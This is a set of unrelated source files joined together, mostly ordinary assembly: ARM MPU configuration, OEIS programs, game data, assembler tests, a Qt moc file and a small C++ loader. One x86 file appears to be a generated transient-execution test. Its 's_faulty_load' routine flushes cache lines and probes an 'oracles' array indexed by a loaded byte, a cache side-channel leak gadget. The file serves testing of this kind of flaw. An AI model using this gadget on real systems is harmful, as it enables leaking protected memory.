movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x16 << 1) + (1)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 8 mov r0, #7 mcr p15, #0, r0, c6, c2, #0 ldr r0, r8Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0010 orr r0, r0, #0x1200 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x04 << 1) + (0)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 9 mov r0, #8 mcr p15, #0, r0, c6, c2, #0 ldr r0, r9Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0006 orr r0, r0, #0x1200 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x04 << 1) + (0)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 10 mov r0, #9 mcr p15, #0, r0, c6, c2, #0 ldr r0, r10Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x000C orr r0, r0, #0x1300 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x04 << 1) + (0)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 11 mov r0, #10 mcr p15, #0, r0, c6, c2, #0 ldr r0, r11Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0006 orr r0, r0, #0x0600 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x04 << 1) + (0)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 12 mov r0, #11 mcr p15, #0, r0, c6, c2, #0 ldr r0, r12Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0006 orr r0, r0, #0x1600 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x04 << 1) + (0)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 13 mov r0, #12 mcr p15, #0, r0, c6, c2, #0 ldr r0, r13Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0006 orr r0, r0, #0x1600 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x04 << 1) + (0)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 14 mov r0, #13 mcr p15, #0, r0, c6, c2, #0 ldr r0, r14Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0006 orr r0, r0, #0x1600 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x04 << 1) + (0)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 15 mov r0, #14 mcr p15, #0, r0, c6, c2, #0 ldr r0, r15Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0006 orr r0, r0, #0x1600 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x04 << 1) + (0)) mcr p15, #0, r0, c6, c1, #2 ; Setup region 16 mov r0, #15 mcr p15, #0, r0, c6, c2, #0 ldr r0, r16Base mcr p15, #0, r0, c6, c1, #0 mov r0, #0x0010 orr r0, r0, #0x1200 mcr p15, #0, r0, c6, c1, #4 movw r0, #((0 << 15) + (0 << 14) + (0 << 13) + (0 << 12) + (0 << 11) + (0 << 10) + (0 << 9) + (0 << 8) + (0x12 << 1) + (1)) mcr p15, #0, r0, c6, c1, #2 bx lr r1Base .word 0x00000000 r2Base .word 0x00000000 r3Base .word 0x08000000 r4Base .word 0xF8000000 r5Base .word 0x60000000 r6Base .word 0x80000000 r7Base .word 0xF0000000 r8Base .word 0x00000000 r9Base .word 0x00000000 r10Base .word 0x00000000 r11Base .word 0x00000000 r12Base .word 0x00000000 r13Base .word 0x00000000 r14Base .word 0x00000000 r15Base .word 0x00000000 r16Base .word 0xFFF80000 .endasmfunc ;------------------------------------------------------------------------------- ; Enable Mpu ; SourceId : MPU_SourceId_002 ; DesignId : MPU_DesignId_002 ; Requirements : HL_CONQ_MPU_SR4 .def _mpuEnable_ .asmfunc _mpuEnable_ mrc p15, #0, r0, c1, c0, #0 orr r0, r0, #1 dsb mcr p15, #0, r0, c1, c0, #0 isb bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Disable Mpu ; SourceId : MPU_SourceId_003 ; DesignId : MPU_DesignId_003 ; Requirements : HL_CONQ_MPU_SR5 .def _mpuDisable_ .asmfunc _mpuDisable_ mrc p15, #0, r0, c1, c0, #0 bic r0, r0, #1 dsb mcr p15, #0, r0, c1, c0, #0 isb bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Enable Mpu background region ; SourceId : MPU_SourceId_004 ; DesignId : MPU_DesignId_004 ; Requirements : HL_CONQ_MPU_SR6 .def _mpuEnableBackgroundRegion_ .asmfunc _mpuEnableBackgroundRegion_ mrc p15, #0, r0, c1, c0, #0 orr r0, r0, #0x20000 mcr p15, #0, r0, c1, c0, #0 bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Disable Mpu background region ; SourceId : MPU_SourceId_005 ; DesignId : MPU_DesignId_005 ; Requirements : HL_CONQ_MPU_SR7 .def _mpuDisableBackgroundRegion_ .asmfunc _mpuDisableBackgroundRegion_ mrc p15, #0, r0, c1, c0, #0 bic r0, r0, #0x20000 mcr p15, #0, r0, c1, c0, #0 bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Returns number of implemented Mpu regions ; SourceId : MPU_SourceId_006 ; DesignId : MPU_DesignId_006 ; Requirements : HL_CONQ_MPU_SR14 .def _mpuGetNumberOfRegions_ .asmfunc _mpuGetNumberOfRegions_ mrc p15, #0, r0, c0, c0, #4 uxtb r0, r0, ROR #8 bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Returns the type of the implemented mpu regions ; SourceId : MPU_SourceId_007 ; DesignId : MPU_DesignId_007 ; Requirements : HL_CONQ_MPU_SR20 .def _mpuAreRegionsSeparate_ .asmfunc _mpuAreRegionsSeparate_ mrc p15, #0, r0, c0, c0, #4 uxtb r0, r0 bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Set mpu region number ; SourceId : MPU_SourceId_008 ; DesignId : MPU_DesignId_008 ; Requirements : HL_CONQ_MPU_SR8 .def _mpuSetRegion_ .asmfunc _mpuSetRegion_ mcr p15, #0, r0, c6, c2, #0 bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Get mpu region number ; SourceId : MPU_SourceId_009 ; DesignId : MPU_DesignId_009 ; Requirements : HL_CONQ_MPU_SR15 .def _mpuGetRegion_ .asmfunc _mpuGetRegion_ mrc p15, #0, r0, c6, c2, #0 bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Set base address ; SourceId : MPU_SourceId_010 ; DesignId : MPU_DesignId_010 ; Requirements : HL_CONQ_MPU_SR9 .def _mpuSetRegionBaseAddress_ .asmfunc _mpuSetRegionBaseAddress_ mcr p15, #0, r0, c6, c1, #0 bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Get base address ; SourceId : MPU_SourceId_011 ; DesignId : MPU_DesignId_011 ; Requirements : HL_CONQ_MPU_SR16 .def _mpuGetRegionBaseAddress_ .asmfunc _mpuGetRegionBaseAddress_ mrc p15, #0, r0, c6, c1, #0 bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Set type and permission ; SourceId : MPU_SourceId_012 ; DesignId : MPU_DesignId_012 ; Requirements : HL_CONQ_MPU_SR11, HL_CONQ_MPU_SR12 .def _mpuSetRegionTypeAndPermission_ .asmfunc _mpuSetRegionTypeAndPermission_ orr r0, r0, r1 mcr p15, #0, r0, c6, c1, #4 bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Get type ; SourceId : MPU_SourceId_013 ; DesignId : MPU_DesignId_013 ; Requirements : HL_CONQ_MPU_SR18 .def _mpuGetRegionType_ .asmfunc _mpuGetRegionType_ mrc p15, #0, r0, c6, c1, #4 bic r0, r0, #0xFF00 bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Get permission ; SourceId : MPU_SourceId_014 ; DesignId : MPU_DesignId_014 ; Requirements : HL_CONQ_MPU_SR19 .def _mpuGetRegionPermission_ .asmfunc _mpuGetRegionPermission_ mrc p15, #0, r0, c6, c1, #4 bic r0, r0, #0xFF bx lr .endasmfunc ;------------------------------------------------------------------------------- ; Set region size register value ; SourceId : MPU_SourceId_015 ; DesignId : MPU_DesignId_015 ; Requirements : HL_CONQ_MPU_SR10, HL_CONQ_MPU_SR13 .def _mpuSetRegionSizeRegister_ .asmfunc _mpuSetRegionSizeRegister_ mcr p15, #0, r0, c6, c1, #2 bx lr .endasmfunc ;-------------------------------------------------------------------------------
#include <tulz/DynamicLibrary.h> #ifdef WIN32 #include <Windows.h> inline auto loadLibrary(const char *path) { SetLastError(0); return LoadLibrary(path); } #define closeLibrary(lib) FreeLibrary(reinterpret_cast<HINSTANCE>(lib)) #define getAddr(lib, name) reinterpret_cast<void *>(GetProcAddress(reinterpret_cast<HINSTANCE>(lib), name)) #else #include <dlfcn.h> #define loadLibrary(path) dlopen(path, RTLD_LAZY) #define closeLibrary(lib) dlclose(lib) #define getAddr(lib, name) dlsym(lib, name) #endif using namespace std; namespace tulz { DynamicLibrary::DynamicLibrary() = default; DynamicLibrary::DynamicLibrary(const string &path) { load(path); } DynamicLibrary::~DynamicLibrary() { close(); } void DynamicLibrary::load(const string &path) { if (isLoaded()) { close(); } m_lib = loadLibrary(path.c_str()); } void DynamicLibrary::close() { if (isLoaded()) { closeLibrary(m_lib); } m_lib = nullptr; } bool DynamicLibrary::isLoaded() const { return m_lib != nullptr; } void* DynamicLibrary::getAddress(const std::string &name) { return getAddr(m_lib, name.c_str()); } DynamicLibrary::Error DynamicLibrary::getError() { Error error; error.error = false; #ifdef WIN32 auto lastError = GetLastError(); if (lastError != 0) { error.error = true; error.message = to_string(lastError); } SetLastError(0); #else auto dlError = dlerror(); if (dlError != nullptr) { error.error = true; error.message = dlError; } #endif return error; } }
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r15 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0x4301, %r11 nop dec %r15 mov (%r11), %r14d nop nop nop nop sub $14795, %r15 lea addresses_D_ht+0xe319, %rsi lea addresses_A_ht+0x18119, %rdi nop nop nop nop nop cmp $21465, %r13 mov $81, %rcx rep movsw nop nop cmp $14270, %r13 lea addresses_normal_ht+0x11b19, %r11 nop nop xor %rcx, %rcx mov (%r11), %r13d nop add $35005, %r14 lea addresses_D_ht+0x1fb9, %rsi lea addresses_D_ht+0x3819, %rdi nop dec %r13 mov $67, %rcx rep movsl xor $34673, %rsi lea addresses_A_ht+0xc429, %r14 nop nop nop nop nop sub %rsi, %rsi movw $0x6162, (%r14) nop cmp %rcx, %rcx lea addresses_WC_ht+0x1a089, %rdi nop inc %r11 mov (%rdi), %cx nop nop cmp %r15, %r15 lea addresses_UC_ht+0x1a15d, %rdi clflush (%rdi) add $29497, %r13 mov (%rdi), %r11w nop nop nop xor $40601, %rsi lea addresses_UC_ht+0x12319, %r13 nop add $44958, %rcx movw $0x6162, (%r13) and $9124, %r14 lea addresses_WT_ht+0x1c95, %r15 nop nop nop nop and $24233, %r14 mov (%r15), %r11 nop and %r13, %r13 lea addresses_WC_ht+0x63cb, %rsi lea addresses_normal_ht+0x129d1, %rdi clflush (%rdi) nop nop sub %rax, %rax mov $19, %rcx rep movsl nop nop nop nop cmp $12397, %r11 lea addresses_D_ht+0xce5f, %rcx nop and %r15, %r15 vmovups (%rcx), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %r13 nop cmp $1349, %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r15 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %rax push %rbp push %rcx push %rsi // Faulty Load lea addresses_WC+0x18b19, %rax nop nop nop nop nop inc %r12 movups (%rax), %xmm1 vpextrq $1, %xmm1, %rbp lea oracles, %rsi and $0xff, %rbp shlq $12, %rbp mov (%rsi,%rbp,1), %rbp pop %rsi pop %rcx pop %rbp pop %rax pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 2}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 4}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 1}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
db 0 ; 414 DEX NO db 70, 94, 50, 66, 94, 50 ; hp atk def spd sat sdf db BUG, FLYING ; type db 45 ; catch rate db 159 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F0 ; gender ratio db 100 ; unknown 1 db 15 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/sinnoh/mothim/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_BUG, EGG_BUG ; egg groups ; tm/hm learnset tmhm ; end
; A016208: Expansion of 1/((1-x)*(1-3*x)*(1-4*x)). ; 1,8,45,220,1001,4368,18565,77540,320001,1309528,5326685,21572460,87087001,350739488,1410132405,5662052980,22712782001,91044838248,364760483725,1460785327100,5848371485001,23409176469808,93683777468645,374876324642820,1499928942876001,6000986704418168 mov $1,1 mov $4,3 lpb $0 sub $0,1 mul $1,2 add $1,3 sub $3,$3 pow $2,$3 sub $2,1 add $4,1 add $3,$4 mul $4,2 add $1,$4 add $2,$1 add $1,$2 add $1,3 add $4,$3 lpe div $1,4 add $1,1
;------------------------------------- ; fibonacci.nasm ; Leia o README.md para detalhes ;------------------------------------- ; Condições iniciais ; RAM[10] = 0 leaw $0, %A movw %A, %D leaw $10, %A movw %D, (%A) ; RAM[11] = 1 leaw $1, %A movw %A, %D leaw $11, %A movw %D, (%A) ; Variável de índice de iteração inicia em 10 ; RAM[0] = 10 leaw $10, %A movw %A, %D leaw %0, %A movw %D, (%A) ; Loop até indice igual á 20 START_LOOP: ; D = RAM[0] leaw %0, %A movw (%A), %D ;A = 19 leaw $19, %A ; D = A - D subw %A, %D, %D ; jump se RAM[0] = 19 leaw $END_LOOP, %A je %D nop ; A = RAM[0] leaw %0, %A movw (%A), %A ; D = RAM[A] movw (%A), %D ; A = RAM[A + 1] incw %A movw (%A), %A ; D = A + D addw %A, %D, %D ; A += RAM[0] + 2 leaw $0, %A movw (%A), %A incw %A incw %A ; RAM[A] = D movw %D, (%A) ; D = A - 1 decw %A movw %A, %D ; RAM[0] = D leaw $0, %A movw %D, (%A) ; Jump para o inicio do loop leaw $START_LOOP, %A jmp END_LOOP:
get macro arg1,arg2,arg3 dc.l arg1 arg2 arg3 dc.l \4 move.\0 d0,d1 endm get.b 1,<dc.l 2>,label,four
/**************************************************************************** ** Meta object code from reading C++ file 'saturation.h' ** ** Created by: The Qt Meta Object Compiler version 67 (Qt 5.7.0) ** ** WARNING! All changes made in this file will be lost! *****************************************************************************/ #include "../../../inf2610-lab4-2.6/ieffect/effects/saturation.h" #include <QtCore/qbytearray.h> #include <QtCore/qmetatype.h> #if !defined(Q_MOC_OUTPUT_REVISION) #error "The header file 'saturation.h' doesn't include <QObject>." #elif Q_MOC_OUTPUT_REVISION != 67 #error "This file was generated using the moc from 5.7.0. It" #error "cannot be used with the include files from this version of Qt." #error "(The moc has changed too much.)" #endif QT_BEGIN_MOC_NAMESPACE struct qt_meta_stringdata_Saturation_t { QByteArrayData data[1]; char stringdata0[11]; }; #define QT_MOC_LITERAL(idx, ofs, len) \ Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ qptrdiff(offsetof(qt_meta_stringdata_Saturation_t, stringdata0) + ofs \ - idx * sizeof(QByteArrayData)) \ ) static const qt_meta_stringdata_Saturation_t qt_meta_stringdata_Saturation = { { QT_MOC_LITERAL(0, 0, 10) // "Saturation" }, "Saturation" }; #undef QT_MOC_LITERAL static const uint qt_meta_data_Saturation[] = { // content: 7, // revision 0, // classname 0, 0, // classinfo 0, 0, // methods 0, 0, // properties 0, 0, // enums/sets 0, 0, // constructors 0, // flags 0, // signalCount 0 // eod }; void Saturation::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { Q_UNUSED(_o); Q_UNUSED(_id); Q_UNUSED(_c); Q_UNUSED(_a); } const QMetaObject Saturation::staticMetaObject = { { &QObject::staticMetaObject, qt_meta_stringdata_Saturation.data, qt_meta_data_Saturation, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} }; const QMetaObject *Saturation::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; } void *Saturation::qt_metacast(const char *_clname) { if (!_clname) return Q_NULLPTR; if (!strcmp(_clname, qt_meta_stringdata_Saturation.stringdata0)) return static_cast<void*>(const_cast< Saturation*>(this)); if (!strcmp(_clname, "ImageEffect")) return static_cast< ImageEffect*>(const_cast< Saturation*>(this)); return QObject::qt_metacast(_clname); } int Saturation::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = QObject::qt_metacall(_c, _id, _a); if (_id < 0) return _id; return _id; } QT_END_MOC_NAMESPACE
; A171654: Period 10: repeat 0, 1, 6, 7, 2, 3, 8, 9, 4, 5. ; 0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5,0,1,6,7,2,3,8,9,4,5 mov $1,$0 lpb $0,1 sub $0,2 add $1,4 lpe mod $1,10
OUTPUT "dir_if_ifn.bin" ; final output should be 8x 'v' ;; Check IF functionality in normal code IF 5 < 3 && 2 < 10 false ENDIF IF 3 < 5 && 2 < 10 halt ; true ENDIF IF 3 < 5 IF 5 < 3 nested false ENDIF IF 2 < 10 halt; nested true ENDIF ENDIF IF 5 < 3 ; top level is false IF 5 < 3 nested false ENDIF IF 2 < 10 almost halt; nested true in false ENDIF ENDIF ; ELSE variants IF 3 < 5 IF 5 < 3 nested false ELSE halt; nested true ENDIF ELSE ; top level is false IF 5 < 3 nested false ELSE almost halt; nested true in false ENDIF ENDIF ; check the multi-ELSE error IF 3 < 2 false ELSE halt ; true ELSE ; error (only single else is permitted) false again ELSE ; error false again ENDIF ;; Check IFN functionality in normal code IFN 5 < 3 && 2 < 10 halt ; true ENDIF IFN 3 < 5 && 2 < 10 false ENDIF IFN 3 < 5 ; top level is false IFN 5 < 3 almost halt; nested true in false ENDIF IFN 2 < 10 nested false ENDIF ENDIF IFN 5 < 3 ; true IFN 5 < 3 halt; nested true ENDIF IFN 2 < 10 nested false ENDIF ENDIF ; ELSE variants IFN 3 < 5 ; top level is false IFN 5 < 3 almost halt; nested true in false ELSE nested false ENDIF ELSE ; true IFN 5 < 3 halt; nested true ELSE nested false ENDIF ENDIF ; check the multi-ELSE error IFN 3 < 2 halt ; true ELSE false ELSE ; error (only single else is permitted) false again ELSE ; error false again ENDIF
#include "Catch2QtUtils.h" std::ostream& operator<<(std::ostream& ostr, const QString& str) { ostr << '"' << str.toStdString() << '"'; return ostr; } std::ostream& operator<<(std::ostream& ostr, const QUrl& url) { ostr << '"' << url.toEncoded().constData() << '"'; return ostr; }
DisplayPort .EQU 04E9h .ORG 0010h ; .ORG 0000h HayStack: .DB 8 .DB 2 .DB 4 .DB 9 Sentinal: .DB 'a' Needle: .DB 9 .ORG 0100h FoundItMsg: .DB 'Found the needle at index $' notfoundmsg: .DB 'The Needle was not found! $' .ORG 0200h Main: mov DX, DisplayPort mov AL, [Needle] ; Load the needle into AL for comparisons mov SI,HayStack ; Create a pointer into the haystack Comparison: mov AL, [SI] cmp SI, Sentinal ; Compare the pointer to the sentinel value jz notfound ; If the difference resulted in a zero and the zero flag was placed, jump to 'notfound' cmp AL,[Needle] ; Compare the AL register that has a value the pointer pointing at, to the needle. jz foundIt ; If the difference resulted in a zero and the zero flag was placed, jump to 'foundIt' inc SI jmp Comparison ; Loop back. notfound: ; if the needle wasn't found. mov BX,notfoundmsg ; Copy message into BX. printSadMsg: mov AL, [BX] ; This works because we're moving a single character at a time. cmp AL, '$' je quit out DX,AL inc BX jmp printSadMsg foundIt: ; We get here if we found the needle mov BX,FoundItMsg printHappyMsg: mov AL, [BX] cmp AL, '$' je Index out DX,AL inc BX jmp printHappyMsg Index: sub SI, HayStack mov AX, SI add AL,30h out DX,AL jmp quit quit: ; Program done HLT .END Main
; --------------------------------------------------------------------------- ; Sprite mappings - spiked metal block from beta version (MZ) ; --------------------------------------------------------------------------- dc.w byte_BC6C-Map_obj45 dc.w byte_BC7C-Map_obj45 dc.w byte_BC8C-Map_obj45 dc.w byte_BC92-Map_obj45 dc.w byte_BC9D-Map_obj45 dc.w byte_BCB2-Map_obj45 dc.w byte_BCD1-Map_obj45 dc.w byte_BCFA-Map_obj45 dc.w byte_BCFA-Map_obj45 byte_BC6C: dc.b 3 dc.b $E0, $B, 0, $1F, $F4 dc.b 0, $B, $10, $1F, $F4 dc.b $F0, 3, 0, $2B, $C byte_BC7C: dc.b 3 dc.b $E8, $C, $12, $1B, $F0 dc.b $FC, $C, $12, $1B, $F0 dc.b $10, $C, $12, $1B, $F0 byte_BC8C: dc.b 1 dc.b $F0, 3, 8, $2B, $FC byte_BC92: dc.b 2 dc.b $F8, 5, 0, $41, $E0 dc.b $F8, 5, 0, $41, $F0 byte_BC9D: dc.b 4 dc.b $F8, 5, 0, $41, $E0 dc.b $F8, 5, 0, $41, $F0 dc.b $F8, 5, 0, $41, 0 dc.b $F8, 5, 0, $41, $10 byte_BCB2: dc.b 6 dc.b $F8, 5, 0, $41, $E0 dc.b $F8, 5, 0, $41, $F0 dc.b $F8, 5, 0, $41, 0 dc.b $F8, 5, 0, $41, $10 dc.b $F8, 5, 0, $41, $20 dc.b $F8, 5, 0, $41, $30 byte_BCD1: dc.b 8 dc.b $F8, 5, 0, $41, $E0 dc.b $F8, 5, 0, $41, $F0 dc.b $F8, 5, 0, $41, 0 dc.b $F8, 5, 0, $41, $10 dc.b $F8, 5, 0, $41, $20 dc.b $F8, 5, 0, $41, $30 dc.b $F8, 5, 0, $41, $40 dc.b $F8, 5, 0, $41, $50 byte_BCFA: dc.b 8 dc.b $F8, 5, 0, $41, $E0 dc.b $F8, 5, 0, $41, $F0 dc.b $F8, 5, 0, $41, 0 dc.b $F8, 5, 0, $41, $10 dc.b $F8, 5, 0, $41, $20 dc.b $F8, 5, 0, $41, $30 dc.b $F8, 5, 0, $41, $40 dc.b $F8, 5, 0, $41, $50 dc.b $F8, 5, 0, $41, $60 dc.b $F8, 5, 0, $41, $70 even
